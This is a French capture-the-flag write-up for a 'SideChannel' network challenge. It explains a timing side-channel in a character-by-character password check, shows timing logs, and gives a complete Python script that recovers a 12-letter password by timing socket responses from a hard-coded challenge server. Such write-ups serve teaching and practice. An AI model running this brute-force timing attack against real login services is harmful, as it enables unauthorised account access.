

Réseau - SideChannel - 100 points

Kévin DUVERGER

Table des matières

1	Résolution SideChannel :
----------	---------------------------------

2

1 Résolution SideChannel :

Le nom du challenge qui est SideChannel et l'astuce que le serveur vérifie le mot de passe d'une façon étrange nous indique qu'on pourrait peut être récupérer de l'information depuis le temps que le serveur prend à vérifier le mot de passe. Voici le code don on peut deviner qu'il s'exécute sur le serveur :

```

1 vraiMotDePasse = ?
2 motDePasseUser = demanderMotDePasse()
3 motDePasseUser = motDePasseUser[:longueur(vraiMotDePasse)]
4 Pour i allant de 0 à min(longueur(vraiMotDePasse), longueur(motDePasseUser)) :
5     Si vraiMotDePasse[i] != motDePasseUser[i] :
6         Retourner Faux
7     Attendre x secondes
8 Retourner Vrai

```

On peut donc tenter d'envoyer un premier caractère pour voir si cette intuition est la bonne :

```

Starting for the 0-th letter
a - Temps verification = 0.021546125411987305
b - Temps verification = 0.02131032943725586
c - Temps verification = 0.02179694175720215
d - Temps verification = 0.02098822593688965
e - Temps verification = 0.020522117614746094
f - Temps verification = 0.020993471145629883
g - Temps verification = 0.021329164505004883
h - Temps verification = 0.021213531494140625
i - Temps verification = 0.02122044563293457
j - Temps verification = 0.020804405212402344
k - Temps verification = 0.02106785774230957
l - Temps verification = 0.02348947525024414
m - Temps verification = 0.02075481414794922
n - Temps verification = 0.02102065086364746
o - Temps verification = 0.019452810287475586
p - Temps verification = 0.019919395446777344
q - Temps verification = 0.02064990997314453
r - Temps verification = 0.021376848220825195
s - Temps verification = 0.02030801773071289
t - Temps verification = 0.5217883586883545
u - Temps verification = 0.020991802215576172
v - Temps verification = 0.020939111709594727
w - Temps verification = 0.02160954475402832
x - Temps verification = 0.021762847900390625
y - Temps verification = 0.023262739181518555
z - Temps verification = 0.02159714698791504
Found letter t (time = 0.5217883586883545)

```

Et comme on peut le voir ça semble être le cas, le serveur vérifie une lettre toutes les 0.5 secondes !

Pour finir, nous pouvons coder la solution associé qui va trouver les 12 lettres du mot de passe :

```

1 import math
2 import time
3 import random
4 import os, sys, socket
5
6 server = "146.59.227.136"
7 port = 23410
8
9 password = ""
10 for i in range(0, 12) :
11     print("Starting for the " + str(i) + "-th letter")
12     dataSave = ""
13     maxTime, maxTimeLetter = -1, None
14     for j in range(0, 26) :
15         # Connecting
16         ma_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
17         try:
18             ma_socket.connect((server, port))
19         except Exception as e:
20             print("Problème de connexion", e.args)
21             sys.exit(1)
22         # Sending the password
23         data = ma_socket.recv(16384).decode("utf-8")
24         ma_socket.sendall((password + chr(ord('a') + j) + "\n").encode("utf-8"))

```

```
25     # Measuring time
26     currentTime = time.time()
27     data = ma_socket.recv(4096).decode("utf-8")
28     elapsedTime = time.time() - currentTime
29     if maxTime == -1 or elapsedTime > maxTime :
30         dataSave = data
31         maxTime = elapsedTime
32         maxTimeLetter = chr(ord('a') + j)
33     # Closing the socket
34     ma_socket.close()
35     # Adding the letter and printing if last letter
36     print("Found letter " + maxTimeLetter + " (time = " + str(maxTime) + ")")
37     print()
38     password += maxTimeLetter
39     if i == 11 :
40         print(password, dataSave)
```